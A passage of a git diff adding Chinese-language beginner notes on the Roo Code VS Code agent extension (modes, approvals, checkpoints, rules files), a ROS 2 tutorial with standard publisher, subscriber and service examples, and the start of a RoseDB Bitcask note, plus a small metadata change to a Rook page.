+通用助手容易在「先写设计文档」和「直接改十三个文件」之间摇摆。Roo 用 **Code / Architect / Ask / Debug** 等内置模式，以及可扩展的 **Custom Modes**，把「当前能用什么工具、能改哪些路径」写死在配置里，相当于给模型换工牌。
+
+### 痛点 2：被一家模型厂商锁死
+
+Roo **本身不是模型**；它通过 `buildApiHandler()` 对接 OpenAI、Anthropic、OpenRouter、Google Gemini、本地 Ollama 等二十余家 Provider。官方文档强调 **model agnosticism**：「最好的模型」每两周变一次，扩展层不应绑死。
+
+### 痛点 3：AI 改仓库缺审批与回滚
+
+与 [[cline]] 类似，Roo 默认 **human-in-the-loop**：`write_to_file`、`execute_command`、MCP 调用等需批准。任务执行中维护 **Checkpoints（检查点）**，可逐步回退 agent 引入的变更；并支持 `.rooignore` 控制哪些路径不可碰、哪些不进 checkpoint。
+
+### 痛点 4：团队规范难注入 agent
+
+通过 `.roo/rules/`、`.roo/rules-{modeSlug}/`、`.roorules`、以及兼容的 `AGENTS.md`，把编码规范、测试要求、目录约定写进**系统提示**，且可按模式分层加载——新人 clone 仓库即继承同一套 agent 行为。
+
+---
+
+## 核心概念拆解
+
+### 1. 三层架构（Extension Host / Webview / External）
+
+| 层 | 职责 | 典型组件 |
+|----|------|----------|
+| **Extension Host** | 跑在 VS Code 扩展进程：任务编排、工具执行、Provider 调用 | `ClineProvider`、`Task`、`CodeIndexManager` |
+| **Webview UI** | 侧边栏 React 界面：聊天、设置、模式管理 | `ExtensionStateContext`、`SettingsView` |
+| **External Services** | LLM API、MCP Server、可选云端认证/索引 | OpenRouter、Qdrant 语义索引等 |
+
+Extension 与 Webview 通过 VS Code **`postMessage`** 双向通信；状态用 `clineMessagesSeq` 等序列号避免竞态覆盖。
+
+### 2. Task（任务）与 Agent Loop
+
+一次用户请求对应一个 **Task** 实例（`Task.ts`）：
+
+1. 初始化模式、API Handler、`.rooignore` 控制器、Checkpoint 服务、终端注册表  
+2. 进入 `recursivelyMakeClineRequests()` 循环：组上下文 → 调 LLM → 解析 tool call → 执行工具 → 把结果塞回对话 → 直到完成或用户 abort  
+3. 维护两路消息：`clineMessages`（UI 展示）与 `apiConversationHistory`（发给模型的精简历史，省 token）
+
+若 agent 连续犯同类错误超过 `consecutiveMistakeLimit`，会暂停并请你介入——防止无限重试同一错误命令。
+
+### 3. Modes System（模式系统）
+
+每个模式是 `ModeConfig`：**slug、名称、roleDefinition、customInstructions、groups（工具组）、可选 fileRegex**。
+
+| 内置模式 | 典型用途 | 行为倾向 |
+|----------|----------|----------|
+| **Code** | 日常编码、改文件、跑命令 | 全工具组，偏实现 |
+| **Architect** | 系统设计、迁移方案、规格 | 偏规划，常限制直接改业务代码 |
+| **Ask** | 解释代码、查文档、问答 | 只读为主 |
+| **Debug** | 加日志、复现、定位根因 | 偏诊断与最小改动 |
+| **Custom** | 团队自定义（如 Docs Writer、Security Review） | YAML 定义，可导入导出 |
+
+工具可见性由 `groups` 映射到 `TOOL_GROUPS`（read、edit、command、mcp、browser 等），再经 `buildNativeToolsArray()` 过滤后交给模型。
+
+**加载优先级**（后者覆盖同名 slug）：项目 `.roo/modes/` → 根目录 `.roomodes` → 全局 `~/.roo/modes/` → 全局设置。
+
+### 4. Tool Architecture（工具架构）
+
+Roo 把自然语言落到环境动作，来源包括：
+
+- **Native Tools**：`read_file`、`write_to_file`、`execute_command`、`search_files` 等  
+- **MCP Tools**：Model Context Protocol 服务器暴露的工具（命名如 `mcp--server--tool`）  
+- **Custom Tools**：工作区 `.roo/tools` 等目录发现的用户工具  
+
+执行前走 `askApproval`；写文件/跑命令会检查 **`.rooignore`**（类似 `.gitignore` 的 agent 黑名单）。
+
+### 5. Provider Profiles（模型配置）
+
+在设置里建 **Profile**：选 Provider、模型 ID、API Key、温度、max tokens 等。可为不同模式绑定不同 Profile（例如 Architect 用强推理模型，Code 用更快模型）。动态 Provider（OpenRouter 等）通过 `modelCache` 拉取模型元数据。
+
+### 6. Custom Instructions（规则注入）
+
+规则加载顺序（概念上，越具体越靠前）：
+
+1. 模式目录：`.roo/rules-{modeSlug}/`（及 `~/.roo/rules-{modeSlug}/`）  
+2. 回退文件：`.roorules-{modeSlug}`  
+3. `.rooignore` 相关说明  
+4. `AGENTS.md` / `AGENT.md`（可通过 `roo-cline.useAgentRules` 关闭）  
+5. 通用：`.roo/rules/`、`.roorules`  
+
+目录内多文件按**文件名字母序**拼进 system prompt。
+
+### 7. Checkpoints 与 Cleanup
+
+任务编辑过程中可打 checkpoint，支持在聊天里逐步回退。存储可配置保留策略（如 7 天、每任务最多 50 个、全局 5GB 上限），并尊重 `.rooignore` 排除二进制/敏感路径。
+
+### 8. Code Index（可选语义搜索）
+
+**CodeIndexManager** 可对仓库做 embedding + 向量库（如 Qdrant），让 agent 用语义搜索定位相关代码，而不只依赖文件名 grep——大 monorepo 里尤其有用。
+
+### 9. Auto-Approve 与 Orchestrator 思维
+
+新手应保留逐步批准。熟悉后可对只读、固定测试命令等开 **Auto-Approve**，让 agent 长时自治。官方文档还提到 **Orchestrator** 方向：复杂项目由协调角色在多个 Mode 之间分派子任务（适合「整模块迁移」类野心任务）。
+
+### 10. CLI 与扩展双形态
+
+除 VS Code 扩展外，仓库含 **独立 CLI**：支持 headless 任务、会话恢复、NDJSON stdin 等，便于 CI 或脚本化；但零基础路径仍是 **Marketplace 装扩展 → 配 Provider → 侧边栏开 Task**。
+
+### 11. 与 Cline、Aider、Cursor 的定位
+
+| 维度 | Roo Code | [[cline]] | [[aider]] |
+|------|----------|-----------|-----------|
+| 运行位置 | VS Code 侧边栏 | VS Code 侧边栏 | 终端 |
+| 角色切换 | **多 Mode 一等公民** | Plan / Act 双模式 | `/architect` 等 chat mode |
+| 模型 | BYOK，Profile 丰富 | BYOK | BYOK |
+| 规则 | `.roo/rules*`、`.roorules` | `.clinerules/` | `.aider.conf.yml` |
+|  lineage | 自 Cline 分支演进 | 上游 agent 扩展 | 独立 Python CLI |
+
+三者可并存：Roo/Cline 管 IDE 内多步 agent，Aider 管 Git 原子提交。
+
+### 12. 停更说明（2026-05）
+
+官方于 2026 年 5 月 15 日关闭扩展运营并归档主仓库；文档站注明可转向 **ZooCode**（社区 fork）或回到 **Cline**。本笔记以 Roo Code 架构为学习对象；若你要在生产环境长期依赖，请确认安装源（Marketplace 条目 `RooVeterinaryInc.roo-cline`）与社区接手版本。
+
+---
+
+## 零基础上手路径
+
+### 第一步：安装与 Provider
+
+1. 在 VS Code / Cursor / VSCodium 扩展市场搜索 **Roo Code**（或社区接手 fork）并安装。  
+2. 打开侧边栏 Roo 面板 → **Settings / Providers** → 新建 Profile，填入 API Key（如 Anthropic、OpenRouter）。  
+3. 选默认模型，发送一条简单消息验证连通：`Explain what this repo's package.json scripts do`。
+
+### 第二步：按任务选 Mode
+
+- 问概念、读代码 → **Ask**  
+- 写功能、改 bug → **Code**  
+- 设计 API / 模块边界 → **Architect**  
+- 线上报错、测试红 → **Debug**  
+
+切换模式后，同一仓库上下文保留，但**可用工具与系统提示**会变。
+
+### 第三步：加项目规则
+
+在仓库根建 `.roo/rules-code/01-testing.md`（Code 模式专用），写入测试与提交约定；下次 Task 自动注入。
+
+### 第四步：MCP 扩展能力
+
+在设置 **MCP Servers** 添加 stdio 或 HTTP 服务（如 GitHub、数据库、浏览器）。Mode 需启用 **mcp** 工具组后，模型才能调用。
+
+### 第五步：熟悉批准与 Checkpoint
+
+前几次任务**不要**全开 Auto-Approve；在 diff 视图里看清每处改动。大改前确认 checkpoint 可用，改坏了从时间线回退再换提示。
+
+---
+
+## 代码示例
+
+### 示例 1：项目级 Custom Mode（`.roo/modes/docs-writer.yaml`）
+
+为「只写文档、不改 src」定义专用模式，放在项目 `.roo/modes/`（优先级最高）：
+
+```yaml
+# .roo/modes/docs-writer.yaml
+slug: docs-writer
+name: Docs Writer
+description: 维护 README、docs/ 与 changelog，不修改生产代码
+
+roleDefinition: |
+  你是技术文档工程师。输出清晰、可扫描的 Markdown；
+  引用代码时使用仓库内真实路径；不臆造 API。
+
+customInstructions: |
+  - 遵循 docs/ 下现有标题层级与术语表
+  - 修改后列出「读者应验证的链接/命令」
+  - 禁止修改 src/、tests/ 下任何文件
+
+groups:
+  - read
+  - edit
+  - command
+
+# 仅允许编辑文档相关路径（具体语法以当前版本 schema 为准）
+fileRegex: "^(docs/|README\\.md|CHANGELOG\\.md).*"
+```
+
+在 UI **Modes** 面板导入或刷新后，选 **Docs Writer** 发任务：`根据 src/api/auth.ts 更新 docs/api/auth.md，并补全 curl 示例。`
+
+配合规则目录 `.roo/rules-docs-writer/01-style.md`，可进一步规定中英文、代码块语言标签等。
+
+### 示例 2：模式规则 + 全局 `.roorules` + MCP 配置片段
+
+**模式专用规则**（`.roo/rules-debug/01-repro.md`）：
+
+```markdown
+# Debug 模式复现约定
+
+1. 先读报错栈与相关测试，再改代码；禁止未读就重写模块。
+2. 加日志时使用项目已有 logger（如 `import { logger } from '@/lib/logger'`），禁止 `console.log` 长期残留。
+3. 每轮修复后给出：根因假设、验证命令、若仍失败时的下一步。
+```
+
+**仓库级回退文件**（无 `.roo/rules/` 目录时可用根目录 `.roorules`）：
+
+```markdown
+# Global agent rules
+
+- package manager: pnpm（勿生成 npm/yarn 命令）
+- 测试: `pnpm test`；单测: `pnpm test --filter <pkg>`
+- 新 API 必须同步 OpenAPI 或 docs/api/
+```
+
+**MCP Server 片段**（设置 JSON 概念示例，路径因版本而异）：
+
+```json
+{
+  "mcpServers": {
+    "github": {
+      "command": "npx",
+      "args": ["-y", "@modelcontextprotocol/server-github"],
+      "env": {
+        "GITHUB_PERSONAL_ACCESS_TOKEN": "${env:GITHUB_TOKEN}"
+      }
+    }
+  }
+}
+```
+
+在 **Debug** 或 **Code** 模式启用 `mcp` 组后，可让 agent「查 PR diff / issue 讨论」辅助排障——仍建议在 Settings 里对该 server 的写操作保持手动批准。
+
+---
+
+## 常用工作流（模式组合）
+
+### 流程 A：新功能（Architect → Code → Debug）
+
+1. **Architect**：`设计用户通知模块：事件源、队列、失败重试；输出 docs/specs/notifications.md`  
+2. 审阅 spec，切 **Code**：`按 spec 实现 MVP，补单元测试`  
+3. 测试失败切 **Debug**：`根据 jest 输出修 race condition，最小 diff`  
+
+### 流程 B：只问不改（Ask）
+
+`src/core/task/Task.ts 里 checkpoint 和 abort 的调用关系是什么？用列表说明，不要改文件。`
+
+### 流程 C：导出 Mode 给另一仓库
+
+Modes 面板 **Export Mode** → 生成含 `rules-{slug}` 的 YAML → 在另一项目 **Import（Project level）** → 得到相同 `.roo/rules-*` 结构。
+
+---
+
+## 配置与目录速查
+
+| 路径 | 作用 |
+|------|------|
+| `.roo/modes/*.yaml` | 项目自定义模式 |
+| `.roomodes` | 单文件模式定义（YAML/JSON） |
+| `.roo/rules/` | 全局（所有模式）规则目录 |
+| `.roo/rules-{slug}/` | 某模式专用规则 |
+| `.roorules` / `.roorules-{slug}` | 单文件规则回退 |
+| `.rooignore` | agent 不可访问/不可 checkpoint 的路径 |
+| `.roo/tools/` | 自定义工具发现目录 |
+| `AGENTS.md` | 与 Cursor/Cline 生态兼容的 agent 说明 |
+
+VS Code 设置示例：`"roo-cline.useAgentRules": true`（默认加载 AGENTS.md）。
+
+---
+
+## 心智模型：官方「成功用法」四条
+
+1. **Leverage model agnosticism**：为不同任务试不同模型，别绑死一家。  
+2. **Don't skimp on tokens**：强模型 + 足够上下文通常比省 token 更省开发者时间。  
+3. **Trust roles**：用 Mode 约束边界，比在长 prompt 里反复叮嘱「不要改 xxx」更稳。  
+4. **Be ambitious**：批准流程熟悉后逐步提高 Auto-Approve 范围，把大块 refactor 交给 agent 分步完成。
+
+---
+
+## 常见问题
+
+**和 Cline 是什么关系？**  
+Roo Code 与 [[cline]] 同源分支演进，架构相似（Task、MCP、侧边栏 agent），Roo 更强调 **多 Mode 产品化** 与 Profile/规则目录体系。学 Roo 等于学「Cline 系 agent」的典型实现。
+
+**扩展停更后还能学吗？**  
+能。仓库 archived 但代码与文档仍可读；社区 fork（ZooCode）延续功能。本笔记侧重**可迁移的概念**（Mode、Task、Tool、MCP、规则注入）。
+
+**Auto-Approve 全开安全吗？**  
+不建议一开始全开。应对 `execute_command`、MCP 写操作、生产配置路径保持批准；只读搜索可对信任仓库放宽。
+
+**规则太多会爆 context 吗？**  
+会。应用 `.roo/rules-{slug}/` 做**按模式裁剪**，避免把所有规范塞进每个 Task；大段文档可放 `docs/` 让 agent 用 `read_file` 按需读取。
+
+**能否和 [[aider]] 一起用？**  
+可以。Roo 在 IDE 里做多步探索与 MCP；Aider 在终端里做 Git 中心化编辑与自动 commit。注意别让两者同时改同一文件。
+
+---
+
+## 延伸资源
+
+- 官方仓库：[RooCodeInc/Roo-Code](https://github.com/RooCodeInc/Roo-Code)（Apache-2.0，已归档）  
+- 文档站：[Roo Code Docs](https://roocodeinc.github.io/Roo-Code/)（含 Modes、Custom Instructions、Provider 指南）  
+- Marketplace：[Roo Code 扩展页](https://marketplace.visualstudio.com/items?itemName=RooVeterinaryInc.roo-cline)  
+- 社区延续：[ZooCode](https://github.com/Zoo-Code-Org/Zoo-Code/)  
+- 上游对照：[[cline]]  
+- 终端结对：[[aider]]  
+- 编辑器基座：[[vscode]]  
+
+---
+
+## 小结
+
+Roo Code 把 VS Code 里的 AI 助手做成**可换岗的开发团队**：**Modes** 定义角色与工具边界，**Task** 驱动多轮 LLM + 工具循环，**`.roo/` 规则体系** 把团队规范写进仓库，**MCP** 接外部世界，**Checkpoints + 批准流** 控制风险。即使官方扩展已停更，其「模式化 agent + 模型无关 + 深度 IDE 集成」仍是零基础理解现代 coding agent 的绝佳样本——下一步可对照 [[cline]] 读 Task 源码，或用 ZooCode 继续在日常开发里实践。
diff --git a/src/content/docs/projects/rook.md b/src/content/docs/projects/rook.md
index 3afc873e0..421b10382 100644
--- a/src/content/docs/projects/rook.md
+++ b/src/content/docs/projects/rook.md
@@ -2,7 +2,7 @@
 title: Rook — 把 Ceph 装进 K8s 的 CRD 里
 来源: https://github.com/rook/rook
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/ros2.md b/src/content/docs/projects/ros2.md
new file mode 100644
index 000000000..432d52f84
--- /dev/null
+++ b/src/content/docs/projects/ros2.md
@@ -0,0 +1,345 @@
+---
+title: ROS 2 — 机器人操作系统零基础入门
+来源: 'https://github.com/ros2/ros2'
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 日常类比：一座分工明确的智能工厂
+
+想象你在运营一家小型智能工厂，而不是一个人包办所有事。
+
+- **节点（Node）** 像不同工位的工人：有人管摄像头、有人管轮子、有人管路径规划。每个工人只做一类活，但都能通过对讲机协作。
+- **话题（Topic）** 像厂内广播频道：`/camera/image` 频道持续播报画面，`/cmd_vel` 频道播报「前进/转弯」指令。谁想听就订阅，谁想说就发布，不必点对点登记电话号码。
+- **服务（Service）** 像前台的一次性问答：「现在电池剩多少？」问一次答一次，适合短平快的查询或计算。
+- **动作（Action）** 像下达一项带进度条的任务：「走到仓库 B 区」，执行过程中可以汇报「已完成 40%」，也可以中途取消。
+- **参数（Parameter）** 像每台设备面板上的旋钮：最大速度、传感器频率，运行中可改，不必重启整个工厂。
+
+**ROS 2（Robot Operating System 2）** 就是这套「工厂协作规范 + 工具箱」。它本身不是某个机器人产品，而是一组库、消息格式、启动工具和可视化界面，让不同语言（C++、Python 等）写的模块能即插即用。官方仓库：[ros2/ros2](https://github.com/ros2/ros2)；入门教程见 [ROS 2 Documentation](https://docs.ros.org/en/humble/Tutorials.html)。
+
+和 ROS 1 相比，ROS 2 默认基于 **DDS（Data Distribution Service）** 中间件，更适合多机、实时性、QoS（服务质量）配置，也是现代 Autoware、Nav2、MoveIt 2 等栈的默认底座。
+
+---
+
+## 解决什么问题
+
+### 痛点 1：机器人软件是「一堆进程」，缺少统一通信层
+
+摄像头驱动、定位、规划、底盘控制往往来自不同团队、不同语言。若没有标准，就要手写 socket、自己定义二进制协议。ROS 2 提供 **rcl（ROS Client Library）** 及 **rclcpp / rclpy**，统一节点生命周期、消息类型和发现机制。
+
+### 痛点 2：发布/订阅、请求/响应、长任务需要不同语义
+
+传感器数据是**连续流** → 用 Topic；查地图元数据是**一问一答** → 用 Service；导航到目标点要**进度 + 可取消** → 用 Action。混用语义会导致阻塞、难以抢占，官方 [Topics vs Services vs Actions](https://docs.ros.org/en/humble/How-To-Guides/Topics-Services-Actions.html) 指南对此有明确划分。
+
+### 痛点 3：构建、依赖、部署碎片化
+
+ROS 2 用 **colcon** 构建工作空间，用 **ament** 作为构建系统，用 **rosdep** 拉系统依赖。`install/setup.bash` 一次性把本工作空间里的包加入 `PATH` 和 `PYTHONPATH`，避免「能编译不能运行」。
+
+---
+
+## 核心概念
+
+### 1. 工作空间（Workspace）与包（Package）
+
+典型目录结构：
+
+```text
+ros2_ws/
+├── src/          # 你的源码包
+├── build/        # colcon 中间产物
+├── install/      # 安装后的可执行文件与 share 资源
+└── log/          # 构建日志
+```
+
+创建并编译：
+
+```bash
+mkdir -p ~/ros2_ws/src
+cd ~/ros2_ws
+# 先 source 已安装的 ROS 2（underlay）
+source /opt/ros/jazzy/setup.bash   # 发行版名按本机安装为准
+colcon build --symlink-install
+source install/setup.bash          # overlay：优先使用本工作空间
+```
+
+用 `ros2 pkg create` 生成包骨架；Python 包常用 `--build-type ament_python`，C++ 用 `ament_cmake`。
+
+### 2. 计算图（Computation Graph）
+
+ROS 2 运行时是一张**有向图**：
+
+| 概念 | 含义 | 类比 |
+|------|------|------|
+| Node | 进程内一个可通信实体 | 工位工人 |
+| Topic | 命名消息通道，多对多 | 广播频道 |
+| Message | `.msg` 定义的结构化数据 | 广播里的一句话格式 |
+| Publisher / Subscriber | 发/收 Topic 消息 | 播音员 / 听众 |
+| Service / Client | 同步 RPC | 前台问答 |
+| Action Server / Client | 带反馈与取消的长任务 | 带进度条的项目 |
+| Parameter | 节点级键值配置 | 设备旋钮 |
+| TF2 | 坐标系变换树 | 工厂里「相对位置关系表」 |
+
+用 `ros2 node list`、`ros2 topic list`、`ros2 topic echo /topic` 做命令行自省；`rqt_graph` 可视化谁连谁。
+
+### 3. 中间件与 QoS
+
+ROS 2 的 **RMW（ROS Middleware）** 把 Topic/Service 映射到 DDS。发布者与订阅者除 **话题名、消息类型** 一致外，**QoS 策略**也要兼容（如 reliability、history depth）。Publisher 构造函数里的队列深度 `10` 就是常见 QoS 设置：订阅者处理不过来时，最多缓存 10 条。
+
+### 4. Launch 与组合
+
+单节点可以用 `ros2 run pkg executable` 启动；多节点、多参数、命名空间、重映射应写 **Launch 文件**（Python 为主）：
+
+```python
+# launch/talk_listen.launch.py（片段）
+from launch import LaunchDescription
+from launch_ros.actions import Node
+
+def generate_launch_description():
+    return LaunchDescription([
+        Node(package='demo_nodes_cpp', executable='talker', name='talker'),
+        Node(package='demo_nodes_cpp', executable='listener', name='listener'),
+    ])
+```
+
+`ros2 launch my_pkg talk_listen.launch.py` 一次拉起整条流水线。
+
+### 5. 常用 CLI 速查
+
+```bash
+ros2 node list
+ros2 topic list
+ros2 topic info /topic
+ros2 topic pub /topic std_msgs/msg/String "{data: 'hello'}" --once
+ros2 service list
+ros2 param list
+ros2 bag record /topic    # 录包回放，调试神器
+```
+
+---
+
+## 代码示例 1：Python 发布者与订阅者（Talker / Listener）
+
+以下改编自官方教程 [Writing a simple publisher and subscriber (Python)](https://docs.ros.org/en/humble/Tutorials/Beginner-Client-Libraries/Writing-A-Simple-Py-Publisher-And-Subscriber.html)。假设包名 `py_pubsub`，依赖 `rclpy`、`std_msgs`。
+
+**publisher_member_function.py** — 每 0.5 秒往 `topic` 发一条字符串：
+
+```python
+import rclpy
+from rclpy.node import Node
+from std_msgs.msg import String
+
+
+class MinimalPublisher(Node):
+    def __init__(self):
+        super().__init__('minimal_publisher')
+        self.publisher_ = self.create_publisher(String, 'topic', 10)
+        self.timer = self.create_timer(0.5, self.timer_callback)
+        self.i = 0
+
+    def timer_callback(self):
+        msg = String()
+        msg.data = f'Hello World: {self.i}'
+        self.publisher_.publish(msg)
+        self.get_logger().info(f'Publishing: "{msg.data}"')
+        self.i += 1
+
+
+def main(args=None):
+    rclpy.init(args=args)
+    node = MinimalPublisher()
+    try:
+        rclpy.spin(node)
+    except KeyboardInterrupt:
+        pass
+    node.destroy_node()
+    rclpy.shutdown()
+
+
+if __name__ == '__main__':
+    main()
+```
+
+**subscriber_member_function.py** — 订阅同一话题并打印：
+
+```python
+import rclpy
+from rclpy.node import Node
+from std_msgs.msg import String
+
+
+class MinimalSubscriber(Node):
+    def __init__(self):
+        super().__init__('minimal_subscriber')
+        self.subscription = self.create_subscription(
+            String, 'topic', self.listener_callback, 10)
+
+    def listener_callback(self, msg):
+        self.get_logger().info(f'I heard: "{msg.data}"')
+
+
+def main(args=None):
+    rclpy.init(args=args)
+    node = MinimalSubscriber()
+    try:
+        rclpy.spin(node)
+    except KeyboardInterrupt:
+        pass
+    node.destroy_node()
+    rclpy.shutdown()
+
+
+if __name__ == '__main__':
+    main()
+```
+
+在 `setup.py` 的 `entry_points['console_scripts']` 中注册 `talker`、`listener` 两个入口，然后：
+
+```bash
+colcon build --packages-select py_pubsub
+source install/setup.bash
+# 终端 1
+ros2 run py_pubsub talker
+# 终端 2
+ros2 run py_pubsub listener
+```
+
+**执行路径**：`rclpy.init` → 创建 Node → `create_publisher` / `create_subscription` → `rclpy.spin` 进入事件循环（处理 timer 回调与订阅回调）→ 退出时 `destroy_node` + `shutdown`。
+
+---
+
+## 代码示例 2：Python 服务与客户端（短请求）
+
+Service 适合「算一下、查一下、设一下」类操作。下面演示自定义服务类型 `AddTwoInts`（实际项目里用 `ros2 interface show example_interfaces/srv/AddTwoInts` 等现成类型即可）。
+
+**add_two_ints_server.py**：
+
+```python
+import rclpy
+from rclpy.node import Node
+from example_interfaces.srv import AddTwoInts
+
+
+class AddTwoIntsServer(Node):
+    def __init__(self):
+        super().__init__('add_two_ints_server')
+        self.srv = self.create_service(
+            AddTwoInts, 'add_two_ints', self.add_callback)
+
+    def add_callback(self, request, response):
+        response.sum = request.a + request.b
+        self.get_logger().info(
+            f'Incoming: a={request.a}, b={request.b} -> sum={response.sum}')
+        return response
+
+
+def main():
+    rclpy.init()
+    node = AddTwoIntsServer()
+    rclpy.spin(node)
+    rclpy.shutdown()
+
+
+if __name__ == '__main__':
+    main()
+```
+
+**add_two_ints_client.py**：
+
+```python
+import rclpy
+from rclpy.node import Node
+from example_interfaces.srv import AddTwoInts
+
+
+class AddTwoIntsClient(Node):
+    def __init__(self):
+        super().__init__('add_two_ints_client')
+        self.client = self.create_client(AddTwoInts, 'add_two_ints')
+        while not self.client.wait_for_service(timeout_sec=1.0):
+            self.get_logger().info('service not available, waiting...')
+
+    def send_request(self, a, b):
+        req = AddTwoInts.Request()
+        req.a = a
+        req.b = b
+        future = self.client.call_async(req)
+        rclpy.spin_until_future_complete(self, future)
+        return future.result()
+
+
+def main():
+    rclpy.init()
+    node = AddTwoIntsClient()
+    result = node.send_request(3, 7)
+    node.get_logger().info(f'Result: {result.sum}')
+    node.destroy_node()
+    rclpy.shutdown()
+
+
+if __name__ == '__main__':
+    main()
+```
+
+CLI 快速验证（无需写代码）：
+
+```bash
+ros2 service call /add_two_ints example_interfaces/srv/AddTwoInts "{a: 3, b: 7}"
+```
+
+---
+
+## 安装与第一个小时路线
+
+1. **选发行版**：Ubuntu 上常用 Humble（LTS）、Jazzy、Rolling（滚动）。新手优先 LTS + 对应文档版本。
+2. **安装**：按 [官方 Installation](https://docs.ros.org/en/humble/Installation.html) 装 desktop 或 bare；WSL2 / Docker 也可，但 USB 相机与实时控制需额外配置。
+3. **验证**：`ros2 run demo_nodes_cpp talker` 与 `listener` 应能看到字符串对传。
+4. **学路径**：Colcon 工作空间 → Pub/Sub → Service → 自定义 `.msg`/`.srv` → Parameters → Launch → TF2 / URDF → Nav2 或 MoveIt 2（按机器人方向选）。
+
+---
+
+## Topic / Service / Action 怎么选
+
+| 场景 | 推荐 | 原因 |
+|------|------|------|
+| 激光雷达、IMU、图像流 | Topic | 连续、多订阅者 |
+| 查询版本、触发单次标定 | Service | 短、同步 |
+| 导航到点、机械臂抓取 | Action | 长时、要反馈与取消 |
+| 最大速度、帧率配置 | Parameter | 键值、可动态改 |
+
+切忌用 Service 跑长时间阻塞任务（会占死客户端线程）；长任务应迁移到 Action，并正确实现 **preempt（抢占）**。
+
+---
+
+## 生态与延伸
+
+- **仿真**：Gazebo / Isaac Sim + ROS 2 桥接，先在仿真里调通再上车。
+- **导航**：Nav2（costmap、planner、controller、behavior tree）。
+- **机械臂**：MoveIt 2（规划场景、碰撞检测）。
+- **可视化**：RViz2 看 TF、点云、路径；Foxglove 看 rosbag。
+- **与 ROS 1 互通**：`ros1_bridge`（维护模式，新项目尽量原生 ROS 2）。
+
+ROS 2 的学习曲线在「工具链 + 分布式概念」上，不在某一门语言语法上。把 **Node + Topic + colcon + launch** 四条线跑通，再读任一具体栈（Nav2、MoveIt、micro-ROS）会轻松很多。
+
+---
+
+## 常见问题
+
+**Q：`ros2 run` 找不到包？**  
+先 `source /opt/ros/<distro>/setup.bash`，再 `source ~/ros2_ws/install/setup.bash`；确认 `colcon build` 成功且包名、executable 与 `setup.py` entry_points 一致。
+
+**Q：Publisher 有输出，Subscriber 收不到？**  
+检查话题名、消息类型、QoS 是否匹配；`ros2 topic info /topic -v` 看两端 QoS。
+
+**Q：ROS 2 和「会写嵌入式 C」是什么关系？**  
+应用层用 rclcpp/rclpy；MCU 侧可用 **micro-ROS** 或自定义桥接；ROS 2 管的是「系统级协作」，不替代裸机驱动。
+
+**Q：必须学 C++ 吗？**  
+不必。原型、算法验证 Python 足够；性能关键路径（驱动、控制环）常用 C++。两者可在同一工作空间共存。
+
+---
+
+## 小结
+
+ROS 2 把机器人软件拆成**可组合的节点**，用 **Topic / Service / Action / Parameter** 表达不同通信语义，用 **colcon + ament + launch** 统一构建与启动。零基础路径：理解工厂类比 → 搭工作空间 → 写一对 Pub/Sub → 写一个 Service → 用 Launch 联调 → 再接仿真或真机栈。官方入口 [github.com/ros2/ros2](https://github.com/ros2/ros2) 聚合各核心仓库；系统学习以 [docs.ros.org](https://docs.ros.org) 教程顺序为准，比零散搜代码更高效。
diff --git a/src/content/docs/projects/rosedb.md b/src/content/docs/projects/rosedb.md
new file mode 100644
index 000000000..348ac525f
--- /dev/null
+++ b/src/content/docs/projects/rosedb.md
@@ -0,0 +1,357 @@
+---
+title: RoseDB — Go Bitcask KV 引擎
+来源: https://github.com/rosedblabs/rosedb
+日期: 2026-06-13
+分类: 数据库
+子分类: databases-storage
+provenance: pipeline-v3
+---
+
+# RoseDB — Go Bitcask KV 引擎
+
+## 1. 一句话：RoseDB 是什么
+
+RoseDB 是用 Go 语言写的一个 **轻量级 KV（键-值）存储引擎**，它的底层存储模型叫 **Bitcask**。
+
+你可以把它理解成一个"超级有条理的记事本"——你往里写 `key: value`（比如 `"用户名": "jason"`），它保证你随时能快速读回来、能快速删掉、而且写入速度极快。
+
+它不是像 MySQL 那样的关系型数据库，而是一个 **单线程追加写入** 的嵌入式数据库，通常嵌入到你的 Go 程序里直接跑，不单独起服务。
+
+## 2. 核心概念：Bitcask 模型
+
+### 2.1 日常类比：一本只写不擦的笔记本
+
+想象你有一本笔记本，规则很简单：
+
+- **你只能往后面写，不能往前面改**。每个新 key-value 都追加到最后面。
+- **如果你想修改一个 key**（比如把 `"用户名": "jason"` 改成 `"用户名": "jason2"`），你不会在原来的地方涂改，而是在新的一页重新写一遍。
+- **如果你想删除一个 key**，你也不是把那一页撕掉，而是在后面写一个特殊的标记："key=用户名，操作=删除"。
+- **笔记本旁边有一本目录（索引）**，记录了每个 key 当前在笔记本的哪一页。这样不管笔记本多厚，你翻到对应页永远只要找一次目录。
+
+### 2.2 关键设计要素
+
+**追加写入（Append-Only）**：数据永远只往文件末尾追加，不做原地修改。这避免了磁盘碎片的产生，也让写入性能接近理论极限。
+
+**内存索引（In-Memory Index）**：所有 key 的内存索引都保存在内存中，指向磁盘上的具体位置（哪个文件、偏移量多少）。读取时直接根据索引定位，最多一次磁盘 IO。
+
+**预写日志（WAL — Write-Ahead Log）**：写入操作先写到日志文件里，确保断电不会丢数据。RoseDB 底层使用了自己写的 WAL 库（`github.com/rosedblabs/wal`），支持分块和 CRC 校验。
+
+**日志合并（Log Compaction / Roll）**：随着写入越来越多，被覆盖的旧数据和已删除的 key 会堆积在磁盘上。RoseDB 会自动触发一个"合并"过程——把所有最新的、有效数据写到新文件，然后删掉旧文件。这就像整理笔记：把有用的内容誊抄到新本子，把旧本子扔了。
+
+### 2.3 优缺点
+
+**优势**：
+
+- **写入极快**：追加写入 = 顺序 IO，磁盘不怕碎片化，速度接近硬盘理论极限
+- **读取稳定**：一次内存查找 + 一次磁盘 seek（很多时候靠 OS 缓存连 seek 都不需要）
+- **崩溃恢复快**：重启时按顺序扫描日志文件，验证 CRC 即可恢复，不会丢失已提交的数据
+- **备份简单**：因为文件是追加写入的，直接用 `cp` 或任何文件备份工具就能安全备份
+- **批处理保证原子性**：一个 batch 操作里的所有写入要么全部成功，要么全部失败
+
+**缺点**：
+
+- **key 必须全部放进内存**：如果你的 key 有上亿个，内存会吃不消。这是 Bitcask 模型的根本限制，不像 RocksDB 那样能把 key 分层放到磁盘上。
+
+## 3. 核心数据结构
+
+RoseDB 的核心由几个部分组成：
+
+**内存索引（In-Memory Index）**
+
+- 本质上是一个 `map[string]*ValueMeta`，key 是字符串，value 包含数据的文件编号、偏移位置、过期时间等信息
